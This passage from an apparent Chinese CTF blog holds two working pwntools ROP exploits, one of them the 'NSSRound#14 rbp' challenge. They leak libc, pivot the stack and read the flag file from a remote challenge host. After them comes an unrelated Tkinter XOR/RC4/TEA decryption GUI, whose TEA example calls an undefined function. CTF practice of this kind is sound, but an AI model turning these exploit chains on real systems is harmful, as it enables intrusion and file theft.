sd(payload)

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")


pop_rdx_rbx = libc_base + 0x904a9
pop_rsi = libc_base + 0x2be51
pop_rcx = libc_base + 0x3d1ee

open_addr = libc_base + libc.sym['open']
sendfile = libc_base + libc.sym['sendfile']

payload3 = b"./flag\x00\x00" + p64(0x4011C5) + p64(bss + 0x200) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload3 += p64(0x4011C5) + p64(1) + p64(pop_rsi) + p64(3) + p64(pop_rdx_rbx) + p64(0)*2 + p64(pop_rcx) + p64(0x40) + p64(sendfile)
payload3 += p64(bss + 0x200)+ p64(leave_ret)


sleep(0.5)
io.send(payload3)

io.interactive()

[NSSRound#14 Basic]rbp

这题就是0x210可以用ORW,我一开始用sendflie可是没通。

1
2
ROPgadget --binary libc.so.6 --only "pop|ret" | grep "pop rcx ; ret"
0x0000000000118d4f : pop rcx ; ret 0xf66

感觉是不是0xf66导致pop rcx不能用,就直接用orw了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from ctypes import *
from struct import pack
banary = "./rbp"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
libc=ELF("libc.so.6")
ip = 'node4.anna.nssctf.cn'
port = 28184
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
offset = 0x210
pop_rdi=0x0000000000401353
pop_rbp=0x00000000004011bd
read=0x0000000000401292
leave_ret=0x000000000040121d
ret=0x000000000040101a
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bss = 0x404060 + 0x700
pop_rsi_r15=0x0000000000401351

ru("try it")
payload=b'A'*0x210+p64(bss+0x210)+p64(read)
s(payload)

sleep(0.5)
payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rbp)+p64(bss + offset + 0x200)+p64(read)
payload=payload.ljust(0x210,b'\x00')+p64(bss-8)+p64(leave_ret)
s(payload)
libcbase=uu64()-libc.sym['puts']
lg("libcbase;"+hex(libcbase))
open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
pop_rdx=libcbase+0x0000000000142c92

sleep(0.5)
flag_addr=bss + 0x200
payload=b'flag'.ljust(8,b'\x00')
payload+=p64(ret)+p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(elf.bss(0x100))+p64(0)+p64(pop_rdx)+p64(0x50)+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.bss(0x100))+p64(0)+p64(pop_rdx)+p64(0x50)+p64(write)
payload=payload.ljust(0x210,b'\x00')+p64(bss + 0x200)+p64(leave_ret)
s(payload)

ia()

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
import tkinter as tk
from tkinter import messagebox, ttk
import os
import sys
import threading
import time
import cv2
from PIL import Image, ImageTk

# 导入外部解密模块
from xor1 import decrypt as xor_decrypt
from rc4 import decrypt as rc4_decrypt
from tea import decrypt1 as tea_decrypt
from xtea import decrypt1 as xtea_decrypt
from xxtea import decrypt as xxtea_decrypt

class UIBuilder:
"""UI组件构建工具类,用于创建统一风格的UI元素"""

@staticmethod
def create_title(parent, text, font_size=24, emoji="", bg="#1a1a2e"):
"""创建带表情符号的标题标签"""
title = tk.Label(
parent,
text=f"{emoji} {text} {emoji}",
font=("微软雅黑", font_size, "bold"),
bg=bg,
fg="white"
)
return title

@staticmethod
def create_button(parent, text, command, bg="#4ECDC4", font_size=12, emoji="", bg_hover="#3A9DA2"):
"""创建带悬停效果的按钮"""

def on_enter(e):
btn.config(bg=bg_hover)

def on_leave(e):
btn.config(bg=bg)

btn = tk.Button(
parent,
text=f"{emoji} {text} {emoji}" if emoji else text,
command=command,
font=("微软雅黑", font_size, "bold"),
bg=bg,
fg="white",
relief="flat",
bd=0
)
btn.bind("<Enter>", on_enter)
btn.bind("<Leave>", on_leave)
return btn

@staticmethod
def create_label(parent, text, font_size=12, fg="white", bg="#1a1a2e"):
"""创建统一风格的标签"""
label = tk.Label(
parent,
text=text,
font=("微软雅黑", font_size),
fg=fg,
bg=bg
)
return label

@staticmethod
def create_algorithm_info(parent, algorithm):
"""生成算法说明文本"""
info_texts = {
"xor": " XOR通过将密文与密钥进行异或操作来还原明文。\n"
"特点:速度快,适用于简单加密场景,但安全性较低。",
"rc4": "RC4是一种流加密算法,通过密钥生成伪随机字节流,与密文异或得到明文。\n"
" 特点:效率高,常用于网络数据加密,但存在安全漏洞需注意。",
"tea": "TEA是一种分组加密算法,使用64位分组和128位密钥。\n"
" 特点:结构简单,安全性较高,适用于资源受限环境。",
"xtea": "XTEA是TEA的扩展版本,改进了加密函数和密钥调度算法。\n"
" 特点:比TEA更抗密码分析,保持了算法简洁性。",
"xxtea": "XXTEA是另一种TEA扩展,进一步优化了加密强度和性能。\n"
" 特点:安全性高,适用于需要可靠加密的场景。"
}
info = tk.Label(
parent,
text=info_texts.get(algorithm, "暂无算法说明"),
font=("微软雅黑", 10),
fg="#CCCCCC",
bg="#1a1a2e",
justify=tk.LEFT,
wraplength=480
)
return info


class VideoBackground:
"""视频背景播放器(增强版,强制使用视频背景)"""

def __init__(self, parent, video_path, width=800, height=600):
self.parent = parent
self.width = width
self.height = height
self.video_path = os.path.abspath(video_path)
self.cap = None
self.video_label = tk.Label(parent, bg="black")
self.video_label.place(x=0, y=0, relwidth=1, relheight=1)
self.stop_flag = False
self.thread = None
self.running = True
self.error_count = 0

# 尝试多次加载视频,避免单次失败
self._init_video(force=True)

def _init_video(self, force=False):
"""初始化视频,支持强制重试"""
if not os.path.exists(self.video_path):
self._show_error(f"⚠️ 视频文件不存在:{self.video_path}")
self._create_error_overlay("视频文件缺失")
return

try:
self.cap = cv2.VideoCapture(self.video_path)
if not self.cap.isOpened():
raise RuntimeError(f"无法打开视频文件:{self.video_path}")

self.fps = self.cap.get(cv2.CAP_PROP_FPS) or 30
self.start_playback()
self.error_count = 0 # 重置错误计数

except Exception as e:
self.error_count += 1
self._show_error(f"⚠️ 视频打开错误(尝试 {self.error_count}/5):{str(e)}")

# 创建错误提示覆盖层
self._create_error_overlay(f"视频加载失败 {self.error_count}/5\n正在重试...")

# 尝试重新加载
if self.error_count <= 5 and force:
self.parent.after(3000, self._init_video)
else:
self._show_error("⚠️ 视频加载失败,使用默认背景", critical=True)

def _show_error(self, msg, critical=False):
"""显示错误信息"""
if DEBUG:
print(msg)
if critical:
messagebox.showerror("视频初始化失败", msg)

def _create_error_overlay(self, text):
"""创建错误提示覆盖层(半透明)"""
# 清除现有覆盖层
for widget in self.parent.winfo_children():
if isinstance(widget, tk.Canvas) and widget._name.startswith("error_overlay"):
widget.destroy()

# 创建新覆盖层(半透明黑色背景)
overlay = tk.Canvas(
self.parent,
width=self.width,
height=self.height,
bg="black",
bd=0,
highlightthickness=0
)
overlay.place(x=0, y=0)
overlay._name = "error_overlay"

# 半透明背景(30%透明度效果)
overlay.create_rectangle(
0, 0, self.width, self.height,
fill="black",
stipple="gray50"
)

# 错误文本
overlay.create_text(
self.width / 2, self.height / 2,
text=text,
fill="white",
font=("微软雅黑", 14, "bold")
)

def start_playback(self):
"""启动视频播放"""
if self.cap and not self.thread:
self.stop_flag = False
self.thread = threading.Thread(
target=self._update_video,
daemon=True
)
self.thread.start()

def stop_playback(self):
"""停止视频播放并释放资源"""
self.stop_flag = True
self.running = False
if self.thread and self.thread.is_alive():
self.thread.join(timeout=3)
if self.cap:
self.cap.release()
self.cap = None
if DEBUG:
print("🎥 视频播放已停止")

def _update_video(self):
"""视频帧更新循环"""
while self.running and not self.stop_flag:
try:
if not self.cap or not self.cap.isOpened():
# 尝试重新打开视频
self._init_video()
time.sleep(1)
continue

ret, frame = self.cap.read()
if not ret:
# 视频结束,从头开始
self.cap.set(cv2.CAP_PROP_POS_FRAMES, 0)
continue

# 处理视频帧
frame = cv2.resize(frame, (self.width, self.height))
frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
img = Image.fromarray(frame)
imgtk = ImageTk.PhotoImage(image=img)

# 更新显示
self.video_label.config(image=imgtk)
self.video_label.image = imgtk
time.sleep(1.0 / self.fps)

except Exception as e:
if DEBUG:
print(f"⚠️ 视频处理错误:{str(e)}")
time.sleep(1) # 错误后等待,避免CPU占用过高


class DecryptApp:
def __init__(self, root):
self.root = root
self.root.title("✨ linkpwn的解密工具 ✨")
self.root.geometry("800x600")
self.root.resizable(False, False)

# 设置窗口图标(示例图标路径,可替换为实际图标)
try:
root.iconbitmap("linkpwn.ico")
except:
if DEBUG:
print("⚠️ 图标加载失败,使用默认图标")

# 强制使用视频背景
video_path = "富士山的星空.mp4"
self.video_bg = VideoBackground(root, video_path)

# 创建欢迎界面(移除半透明遮罩)
self.create_welcome_screen()
self.create_status_bar()

# 注册窗口关闭事件
self.root.protocol("WM_DELETE_WINDOW", self.on_close)

def create_welcome_screen(self):
"""创建欢迎界面(仅保留视频背景上的UI元素)"""
# 欢迎标题(直接放置在视频背景上)
title = UIBuilder.create_title(
self.root,
"欢迎使用linkpwn的解密工具",
font_size=36,
emoji="✨",
bg=None # 透明背景
)
title.configure(fg="#5dade2") # 仅设置标题字体为浅蓝色
title.place(relx=0.5, rely=0.3, anchor=tk.CENTER)

# 进入按钮(直接放置在视频背景上)
enter_btn = UIBuilder.create_button(
self.root,
"进入解密工具",
self.open_algorithm_selector,
bg="#FF6B6B",
font_size=18,
emoji="🔓",
bg_hover="#FF4D4F"
)
enter_btn.place(relx=0.5, rely=0.5, anchor=tk.CENTER)

# 版权信息(直接放置在视频背景上)
copyright_text = UIBuilder.create_label(
self.root,
"© 2025 linkpwn. 保留所有权利.",
font_size=10,
fg="#999999",
bg=None # 透明背景
)
copyright_text.place(relx=0.5, rely=0.95, anchor=tk.CENTER)

def open_algorithm_selector(self):
"""打开算法选择窗口(优化背景显示)"""
self.algorithm_window = tk.Toplevel(self.root)
self.algorithm_window.title("💡 选择解密算法")
self.algorithm_window.geometry("600x400")
self.algorithm_window.resizable(False, False)
self.algorithm_window.transient(self.root)

# 创建半透明背景(仅在视频加载失败时显示)
bg = tk.Canvas(
self.algorithm_window,
width=600,
height=400,
bg="black",
highlightthickness=0
)
bg.pack(fill="both", expand=True)

# 标题
title = UIBuilder.create_title(
self.algorithm_window,
"选择解密算法",
font_size=24,
emoji="🔐"
)
title.place(relx=0.5, y=30, anchor=tk.CENTER)

# 分隔线
sep = tk.Frame(self.algorithm_window, height=2, bg="#4ECDC4")
sep.place(x=50, y=70, width=500)

# 算法按钮配置
algorithms = [
("xor", "❌ XOR解密"),
("rc4", "🔒 RC4解密"),
("tea", "🍵 TEA解密"),
("xtea", "🍵 XTEA解密"),
("xxtea", "🍵 XXTEA解密"),
]

for idx, (alg, text) in enumerate(algorithms):
btn = tk.Button(
self.algorithm_window,
text=text,
font=("微软雅黑", 14, "bold"),
bg="#4ECDC4",
fg="white",
relief="flat",
command=lambda a=alg: self.open_decrypt_window(a)
)
x = 100 if idx % 2 == 0 else 350
y = 120 + (idx // 2) * 80
btn.place(x=x, y=y, width=200, height=60)

def open_decrypt_window(self, algorithm):
"""打开解密窗口(优化背景显示)"""
# 销毁已存在的解密窗口
if hasattr(self, 'decrypt_window') and self.decrypt_window.winfo_exists():
self.decrypt_window.destroy()

self.decrypt_window = tk.Toplevel(self.root)
self.decrypt_window.title(f"💬 {self.get_algorithm_name(algorithm)}解密面板")
self.decrypt_window.geometry("600x450")
self.decrypt_window.resizable(False, False)
self.decrypt_window.transient(self.root)

panel = tk.Canvas(
self.decrypt_window,
width=600,
height=450,
bg="black",
highlightthickness=0,
bd=0,
relief="flat"
)
panel.pack(fill="both", expand=True)

# 标题
title = UIBuilder.create_title(
panel,
f"{self.get_algorithm_name(algorithm)}解密工具",
font_size=24,
bg="black"
)
title.place(relx=0.5, y=30, anchor=tk.CENTER)

# 分隔线
sep = tk.Frame(panel, height=2, bg="#4ECDC4")
sep.place(x=50, y=70, width=500)

# 算法说明
info = UIBuilder.create_algorithm_info(panel, algorithm)
info.place(x=50, y=90, width=500)

# 密文输入框
cipher_frame = tk.Frame(panel, bg="#1a1a2e")
cipher_frame.place(x=50, y=130, width=500, height=100)

cipher_label = UIBuilder.create_label(cipher_frame, "密文:", font_size=12)
cipher_label.pack(anchor="w", pady=(0, 5))

self.cipher_entry = tk.Text(
cipher_frame,
width=58,
height=3,
font=("Consolas", 12),
bg="#2a2a3e",
fg="white",
insertbackground="white",
relief="flat",
padx=10,
pady=5
)
self.cipher_entry.pack(fill="x")
self.cipher_entry.insert("1.0", self.get_default_ciphertext(algorithm))

# 密钥输入框
key_frame = tk.Frame(panel, bg="#1a1a2e")
key_frame.place(x=50, y=250, width=500, height=80)

key_label = UIBuilder.create_label(key_frame, "密钥:", font_size=12)
key_label.pack(anchor="w", pady=(0, 5))

self.key_entry = tk.Entry(
key_frame,
width=58,
font=("Consolas", 12),
bg="#2a2a3e",
fg="white",
insertbackground="white",
relief="flat"
)
self.key_entry.pack(fill="x")
self.key_entry.insert(0, self.get_default_key(algorithm))

# 按钮区域
btn_frame = tk.Frame(panel, bg="#1a1a2e")
btn_frame.place(x=50, y=340, width=500, height=40)

# 解密按钮
decrypt_btn = UIBuilder.create_button(
btn_frame,
"开始解密",
lambda: self.perform_decryption(algorithm),
bg="#FF6B6B",
font_size=14,
emoji="🔓"
)
decrypt_btn.pack(side="left", padx=(150, 0))

# 返回按钮
back_btn = UIBuilder.create_button(
btn_frame,
"返回",
self.decrypt_window.destroy,
bg="#666666",
font_size=10,
emoji="◀"
)
back_btn.pack(side="right", padx=(0, 20))

# 提示文本
hint = UIBuilder.create_label(
panel,
"💡 提示: 输入密文和密钥后点击解密按钮",
font_size=10,
fg="#999999"
)
hint.place(x=50, y=400, width=500)

def get_algorithm_name(self, algorithm):
"""获取算法名称"""
names = {
"xor": "XOR",
"rc4": "RC4",
"tea": "TEA",
"xtea": "XTEA",
"xxtea": "XXTEA"
}
return names.get(algorithm, algorithm.upper())

def get_default_ciphertext(self, algorithm):
"""获取默认密文"""
defaults = {
"xor": "1a2b3c4d5e6f",
"rc4": "730e7d1c4a1e",
"tea": "0123456789abcdef",
"xtea": "0123456789abcdef",
"xxtea": "0123456789abcdef"
}
return defaults.get(algorithm, "")

def get_default_key(self, algorithm):
"""获取默认密钥"""
defaults = {
"xor": "secret",
"rc4": "key12345",
"tea": "1234567890123456", # 16字节密钥
"xtea": "1234567890123456", # 16字节密钥
"xxtea": "1234567890123456" # 16字节密钥
}
return defaults.get(algorithm, "")

def create_status_bar(self):
"""创建状态栏"""
self.status = tk.Label(
self.root,
text="✨ 就绪 | linkpwn的解密工具 v1.0 | 安全解密 ✨",
bd=1,
relief=tk.SUNKEN,
anchor=tk.W,
font=("微软雅黑", 9),
fg="#CCCCCC",
bg="#1a1a2e"
)
self.status.pack(side=tk.BOTTOM, fill=tk.X)

def perform_decryption(self, algorithm):
"""执行解密操作"""
ciphertext = self.cipher_entry.get("1.0", tk.END).strip()
key = self.key_entry.get().strip()

if not ciphertext:
self.status.config(text="🛑 错误: 密文不能为空")
messagebox.showerror("😢 错误", "密文不能为空哦!")
return

if not key:
self.status.config(text="🛑 错误: 密钥不能为空")
messagebox.showerror("😢 错误", "密钥不能为空哦!")
return

self.status.config(text=f"🔄 使用{self.get_algorithm_name(algorithm)}解密中...")
threading.Thread(target=self._perform_decryption_thread, args=(ciphertext, key, algorithm), daemon=True).start()

def _perform_decryption_thread(self, ciphertext, key, algorithm):
"""在单独的线程中执行解密操作"""
try:
# 根据算法调用相应的解密函数
if algorithm == "xor":
result = xor_decrypt(ciphertext, key)
elif algorithm == "rc4":
result = rc4_decrypt(ciphertext, key)
elif algorithm == "tea":
result = tea_decrypt(ciphertext, key)
elif algorithm == "xtea":
result = xtea_decrypt(ciphertext, key)
elif algorithm == "xxtea":
result = xxtea_decrypt(ciphertext, key)
else:
result = f"🛑 不支持的算法: {algorithm}"

self.root.after(0, self._update_decryption_result, result)
except Exception as e:
error_msg = f"🛑 解密过程中发生错误: {str(e)}"
self.root.after(0, self._update_decryption_error, error_msg)

def _update_decryption_result(self, result):
"""更新解密结果"""
if "错误" in result or "Error" in result:
self.status.config(text=f"😢 解密失败: {result}")
messagebox.showerror("😢 解密失败", result)
else:
self.status.config(text="🎉 解密成功!")
self.show_result(result)

def _update_decryption_error(self, error_msg):
"""更新解密错误"""
self.status.config(text=error_msg)
messagebox.showerror("😢 错误", error_msg)

def show_result(self, plaintext):
"""显示解密结果窗口(优化背景显示)"""
try:
result_window = tk.Toplevel(self.decrypt_window)
result_window.title("🎁 解密结果")
result_window.geometry("500x300")
result_window.resizable(False, False)

bg = tk.Canvas(result_window, width=500, height=300, bg="#1a1a2e")
bg.pack(fill="both", expand=True)

title = UIBuilder.create_title(
bg,
"解密成功!",
font_size=18,
emoji="🎉",
bg="#1a1a2e"
)
title.place(relx=0.5, y=40, anchor=tk.CENTER)

result_frame = tk.Frame(bg, bg="#2a2a3e", bd=1, relief=tk.SUNKEN)
result_frame.place(x=25, y=70, width=450, height=180)

scrollbar = ttk.Scrollbar(result_frame)
scrollbar.pack(side=tk.RIGHT, fill=tk.Y)

result_text = tk.Text(
result_frame,
bg="#2a2a3e",
fg="white",
font=("Consolas", 11),
yscrollcommand=scrollbar.set,
wrap=tk.WORD,
padx=10,
pady=10
)
result_text.pack(fill="both", expand=True)
result_text.insert(tk.END, plaintext)
result_text.config(state=tk.DISABLED)
scrollbar.config(command=result_text.yview)

close_btn = UIBuilder.create_button(
bg,
"关闭",
result_window.destroy,
bg="#4ECDC4",
font_size=12
)
close_btn.place(relx=0.5, y=260, anchor=tk.CENTER)
except Exception as e:
messagebox.showerror("😢 错误", f"无法显示结果: {str(e)}")

def on_close(self):
"""窗口关闭时停止视频播放"""
if hasattr(self, 'video_bg') and self.video_bg:
self.video_bg.stop_playback()
self.root.destroy()


# === 程序入口 ===
DEBUG = True # 开发阶段设为True,发布时改为False

def run_app():
"""运行应用程序"""
root = tk.Tk()
# 设置窗口透明度(仅支持Windows和X11系统)
if sys.platform in ['win32', 'linux']:
root.attributes('-alpha', 0.95) # 95%透明度,保留视频背景效果
app = DecryptApp(root)
root.mainloop()

if __name__ == "__main__":
run_app()

beautiful.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import tkinter as tk

class UIBuilder:
"""UI构建器,负责创建美化后的界面元素"""

@staticmethod
def create_button(parent, text, command, bg="#4ECDC4", fg="white", font_size=12, emoji=""):
"""创建美化的按钮"""
full_text = f"{emoji} {text}" if emoji else text

# 安全的颜色调整函数
def darken_color(hex_color, factor=0.8):
"""降低颜色亮度"""
hex_color = hex_color.lstrip('#')
rgb = tuple(int(hex_color[i:i+2], 16) for i in (0, 2, 4))
darkened = tuple(int(max(0, min(255, c * factor))) for c in rgb)
return f"#{darkened[0]:02x}{darkened[1]:02x}{darkened[2]:02x}"

return tk.Button(
parent,
text=full_text,
command=command,
font=("微软雅黑", font_size, "bold"),
bg=bg,
fg=fg,
activebackground=darken_color(bg),
relief="flat",
padx=15,
pady=5
)

@staticmethod
def create_label(parent, text, font_size=12, fg="white", bg="#1a1a2e", emoji=""):
"""创建美化的标签"""
full_text = f"{emoji} {text}" if emoji else text
return tk.Label(
parent,
text=full_text,
font=("微软雅黑", font_size),
fg=fg,
bg=bg
)

@staticmethod
def create_title(parent, text, font_size=24, fg="#4ECDC4", bg="#1a1a2e", emoji=""):
"""创建美化的标题"""
full_text = f"{emoji} {text} {emoji}" if emoji else text
return tk.Label(
parent,
text=full_text,
font=("微软雅黑", font_size, "bold"),
fg=fg,
bg=bg
)

@staticmethod
def create_algorithm_info(parent, algorithm):
"""创建算法说明信息"""
info_text = {
"xor": "❌ XOR加密: 最简单的加密算法,通过逐字节异或运算实现",
"rc4": "🔒 RC4: 流加密算法,广泛用于网络协议如SSL/TLS",
"tea": "🍵 TEA: 小型加密算法,使用64位数据块和128位密钥",
"xtea": "🍵 XTEA: TEA的改进版本,修复了一些安全漏洞",
"xxtea": "🍵 XXTEA: 更安全的TEA变体,处理变长数据块"
}

return tk.Label(
parent,
text=info_text.get(algorithm, f"❓ 未知算法: {algorithm}"),
font=("微软雅黑", 10),
fg="#FF9F1C",
bg="#1a1a2e"
)

rc4.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def decrypt(ciphertext, key):
"""RC4解密算法"""
try:
# 转换密文为字节
if all(c in '0123456789abcdefABCDEF' for c in ciphertext) and len(ciphertext) % 2 == 0:
cipher_bytes = bytes.fromhex(ciphertext)
else:
cipher_bytes = ciphertext.encode('utf-8')

key_bytes = key.encode('utf-8')

# RC4初始化
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key_bytes[i % len(key_bytes)]) % 256
S[i], S[j] = S[j], S[i]

# 生成密钥流并解密
i = j = 0
decrypted = bytearray()

for byte in cipher_bytes:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
decrypted.append(byte ^ k)

try:
return decrypted.decode('utf-8')
except UnicodeDecodeError:
return decrypted.hex()

except Exception as e:
return f"🛑 解密错误: {str(e)}"


# 使用示例
if __name__ == "__main__":
# 示例1: 解密十六进制格式的密文
ciphertext = "730e7d1c4a1e" # 示例密文(十六进制)
key = "key12345" # 密钥
plaintext = decrypt(ciphertext, key)
print(f"解密结果: {plaintext}")

# 示例2: 解密字符串格式的密文
ciphertext = "encrypted_data" # 示例密文(字符串)
key = "mysecretkey" # 密钥
plaintext = decrypt(ciphertext, key)
print(f"解密结果: {plaintext}")

tea.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
def decrypt1(ciphertext, key):
"""TEA解密算法 - 修复32位无符号整数问题"""
try:
# 确保密钥长度为16字节
key_bytes = key.encode('utf-8')
if len(key_bytes) < 16:
key_bytes = key_bytes.ljust(16, b'\0')
elif len(key_bytes) > 16:
key_bytes = key_bytes[:16]

# 转换密文为字节
if all(c in '0123456789abcdefABCDEF' for c in ciphertext) and len(ciphertext) % 2 == 0:
cipher_bytes = bytes.fromhex(ciphertext)
else:
cipher_bytes = ciphertext.encode('utf-8')

# 确保数据长度是8的倍数
if len(cipher_bytes) % 8 != 0:
padding = 8 - (len(cipher_bytes) % 8)
cipher_bytes += b'\0' * padding

# 分块解密
decrypted = bytearray()
for i in range(0, len(cipher_bytes), 8):
block = cipher_bytes[i:i + 8]

# 解包为两个32位无符号整数
v0 = int.from_bytes(block[:4], 'big') & 0xFFFFFFFF
v1 = int.from_bytes(block[4:], 'big') & 0xFFFFFFFF
k = [int.from_bytes(key_bytes[i * 4:(i + 1) * 4], 'big') & 0xFFFFFFFF for i in range(4)]

# TEA解密过程
delta = 0x9E3779B9
sum_val = (delta * 32) & 0xFFFFFFFF # 确保初始值为32位无符号

# 辅助函数确保所有中间计算都在32位范围内
def tea_op(value, shift, add_val):
"""确保移位和加法操作保持在32位范围内"""
if shift > 0:
return ((value << shift) & 0xFFFFFFFF) + add_val
else:
return ((value >> -shift) & 0xFFFFFFFF) + add_val

for _ in range(32):
# 分解计算步骤,确保每步都在32位范围内
term1 = tea_op(v0, 4, k[2])
term2 = (v0 + sum_val) & 0xFFFFFFFF
term3 = tea_op(v0, -5, k[3])

v1 = (v1 - ((term1 ^ term2) ^ term3)) & 0xFFFFFFFF

term1 = tea_op(v1, 4, k[0])
term2 = (v1 + sum_val) & 0xFFFFFFFF
term3 = tea_op(v1, -5, k[1])

v0 = (v0 - ((term1 ^ term2) ^ term3)) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF

# 再次确保v0和v1为非负数
v0 &= 0xFFFFFFFF
v1 &= 0xFFFFFFFF

# 打包解密结果(添加额外检查)
try:
decrypted_block = v0.to_bytes(4, 'big') + v1.to_bytes(4, 'big')
except OverflowError:
# 作为备用方案,直接处理32位值
decrypted_block = (v0 & 0xFFFFFFFF).to_bytes(4, 'big') + (v1 & 0xFFFFFFFF).to_bytes(4, 'big')

decrypted.extend(decrypted_block)

try:
# 尝试UTF-8解码,失败则返回HEX
return decrypted.decode('utf-8').rstrip('\0')
except UnicodeDecodeError:
return decrypted.hex()

except Exception as e:
return f"🛑 解密错误: {str(e)}"
# 使用示例
if __name__ == "__main__":
# 示例1: 解密十六进制格式的密文
ciphertext = "0123456789abcdef" # 示例密文(十六进制)
key = "1234567890123456" # 16字节密钥
plaintext = decrypt(ciphertext, key)
print(f"解密结果: {plaintext}")

# 示例2: 解密字符串格式的密文
ciphertext = "encrypted_data" # 示例密文(字符串)
key = "mysecretkey1234" # 16字节密钥
plaintext = decrypt(ciphertext, key)
print(f"解密结果: {plaintext}")

xor1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# xor1.py

def xor_encrypt_decrypt(data, key):
"""
执行异或加密或解密操作。

:param data: 原始数据(字符串或 bytes)
:param key: 密钥(字符串或 bytes)
:return: 加密或解密后的 bytes 数据
"""
if isinstance(data, str):
data = data.encode('utf-8')
if isinstance(key, str):
key = key.encode('utf-8')

result = bytearray()
for i in range(len(data)):
key_byte = key[i % len(key)]
result.append(data[i] ^ key_byte)

return bytes(result)


def xor_decrypt(ciphertext, key):
"""
